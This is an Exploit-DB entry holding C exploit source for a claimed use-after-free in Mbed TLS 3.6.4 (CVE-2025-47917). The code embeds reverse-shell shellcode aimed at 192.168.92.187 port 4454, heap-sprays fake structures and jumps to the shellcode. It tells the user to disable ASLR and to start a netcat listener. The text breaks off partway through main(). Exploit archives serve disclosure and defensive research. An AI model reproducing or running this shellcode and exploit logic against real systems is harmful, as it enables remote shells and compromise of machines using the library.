Exploit-DB #52427
Description: Mbed TLS 3.6.4 - Use-After-Free
Type: local
Platform: multiple
Date: 2025-09-16
Author: Byte Reaper

Exploit:
/*
 * Exploit Title: Mbed TLS 3.6.4 - Use-After-Free
 * Google Dork: N/A
 * Date: 2025-08-29
 * Exploit Author: Byte Reaper
 * Vendor Homepage: https://github.com/Mbed-TLS/mbedtls
 * Software Link: https://github.com/Mbed-TLS/mbedtls
 * Version: ≤ 3.6.4
 * Tested on: Kali Linux
 * CVE: CVE-2025-47917
*/
#include<stdio.h>
#include<string.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include "mbedtls/asn1.h"
#include <mbedtls/x509.h>
#include <mbedtls/x509_crt.h>
#include <mbedtls/oid.h>
#include <malloc.h>
#define _GNU_SOURCE
typedef struct
{
    unsigned char *pointer;
    size_t pointerLen;
}shell;
typedef struct fake_named_data
{
    struct fake_named_data *next;
    mbedtls_asn1_buf oid;
    mbedtls_asn1_buf val;
} fake_named_data;
void eS()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $0x3C, %%rax\n\t"
        "syscall\n\t"
        :
        :
        :"rax", "rdi"
    );
}

void checkAslr()
{
    FILE *f = fopen("/proc/sys/kernel/randomize_va_space", "r");
    if (!f)
    {
        perror("\e[1;31m[-] Error Open File !");
        eS();
    }

    int val;
    if (fscanf(f,
        "%d",
        &val) != 1)
    {
        printf("\e[1;31m[-] Failed to read ASLR status.\e[0m\n");
        fclose(f);
        eS();
    }

    fclose(f);

    if (val != 0)
    {
        printf("\e[1;31m[-] ASLR is enabled (value=%d). This may prevent reliable exploitation.\e[0m\n", val);
        printf("[\e[1;31m-] Please disable ASLR temporarily using: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n");
        printf("\e[1;31m[-] Exiting to avoid crash.\e[0m\n");
        eS();
    }

    printf("\e[1;36m[+] ASLR is disabled (value=0). Environment looks good.\e[0m\n");
}

shell inject()
{
    // ip : 192.168.92.187
    // port : 4454
    unsigned char shellcode[] =
    {
        0x48, 0x31, 0xd2, 0xb8, 0x29, 0x00, 0x00, 0x00, 0xbe, 0x01, 0x00, 0x00,
        0x00, 0xbf, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x49,
        0x89, 0xc4, 0x48, 0x83, 0xec, 0x10, 0xc7, 0x44, 0x24, 0x0c, 0xbd, 0x5c,
        0xa8, 0xc0, 0x66, 0xc7, 0x44, 0x24, 0x0a, 0x11, 0xc1, 0x66, 0xc7, 0x44,
        0x24, 0x08, 0x02, 0x00, 0x48, 0x89, 0xe6, 0xba, 0x10, 0x00, 0x00, 0x00,
        0xb8, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x4c, 0x89, 0xe7, 0xbe, 0x02,
        0x00, 0x00, 0x00, 0xb8, 0x21, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xff,
        0xce, 0x79, 0xf4, 0x48, 0x31, 0xd2, 0x48, 0xb8, 0x62, 0x2f, 0x73, 0x62,
        0x61, 0x73, 0x68, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f,
        0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6,
        0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05
    };
    size_t shellcodeLen = sizeof(shellcode);
    shell a =
    {

        shellcode,
        shellcodeLen

    };

    void *page = mmap(NULL, a.pointerLen,
                      PROT_READ|PROT_WRITE|PROT_EXEC,
                      MAP_ANON|MAP_PRIVATE, -1, 0);
    memcpy(page, a.pointer, a.pointerLen);

    a.pointer = page;
    return a;

}
void paddingChunk(void *fakeP, size_t len)
{
    for (int i = 0; i < 10000; i++)
    {
        void *p = malloc(len);
        size_t usable = malloc_usable_size(p);
        memcpy(p, fakeP, len);
        memset((char*)p + len, 0, usable - len);
    }
}

void pointerHead(mbedtls_asn1_named_data *head)
{

    if (head->val.p == NULL)
    {
        printf("\e[1;91m[-] Pointer ShellCode Is NULl !!\e[0m\n");
        eS();
    }
    printf("\e[1;36m[*] Jumping to shellcode at %p\e[0m\n", head->val.p);
    void (*u)() = (void(*)()) head->val.p;
    u();

}
void tls()
{
    mbedtls_asn1_named_data *head = NULL;
    printf("\e[1;34m[+] Create Head Successfully !\e[0m\n");
    printf("\e[1;35m[*] head before first call: %p\e[0m\n", head);
    int value = mbedtls_x509_string_to_names(&head, "CN=AAAA");
    shell a = inject();
    void *exec_mem = a.pointer;
    fake_named_data data =
    {
        .next = NULL,
        .oid  =
        {
            .p = (unsigned char*) MBEDTLS_OID_AT_CN,
            .len = sizeof(MBEDTLS_OID_AT_CN) - 1 },
            .val  =
            {
                .p = a.pointer,
                .len = a.pointerLen
            }
    };
    printf("\e[1;35m[*] head after first call:  %p (value=%d)\e[0m\n", head, value);

    paddingChunk(&data, sizeof(mbedtls_asn1_named_data));
    printf("\e[1;34m[+] Use heap spray...\e[0m\n");

    usleep(500000);
    if (value == MBEDTLS_ERR_X509_INVALID_NAME)
    {
        printf("\e[1;31m[-] Invaild Name (Med Tls Name)!\e[0m\n");
        printf("[\e[1;31m-] Value => (MBEDTLS_ERR_X509_INVALID_NAME)\e[0m\n");
        printf("\e[1;31m[-] Exit (sys_exit)...\e[0m\n");
        eS();
    }
    printf("\e[1;35m[*] head before second call: %p\e[0m\n", head);
    int value2 = mbedtls_x509_string_to_names(&head, "CN=AAAA,CN=BBBB");
    printf("\e[1;35m[*] head after second call:  %p (value=%d)\e[0m\n", head, value2);
    printf("\e[1;34m[+] Successfully Create String Name.\e[0m\n");
    pointerHead(head);
    printf("\e[1;34m[+] Jump Shellcode Pointer ...\e[0m\n");
    printf("\e[1;34m[+] Pointer Shellcode : %p\e[0m\n", a.pointer);
    printf("\e[1;34m[+] Shellcode Injection Successfully !\e[0m\n");
    printf("\e[1;34m[+] Shellcode Len : %zu\e[0m\n", a.pointerLen);
    printf("\e[1;33m[+] Please Check Reverse shell (nc -lvnp 4454)\e[0m\n");
    printf("\e[1;34m[+] Success Free Head !\e[0m\n");
}

int main()
{
    printf("\e[0;95m+-------------------------------------------------+\e[0m\n");
    printf("\e[0;95m|\e[0m 	    \e[1;37mByte Reaper\e[0m 	                  \e[0;95m|\e[0m\n");
    printf("\e[0;95m|\e[0m 	    \e[1;33mExploit: CVE-2025-47917\e[0m               \e[0;95m|\e[0m\n");
    printf("\e[0;95m|\e[0m 	    \e[1;31mVulnerability: UAF\e[0m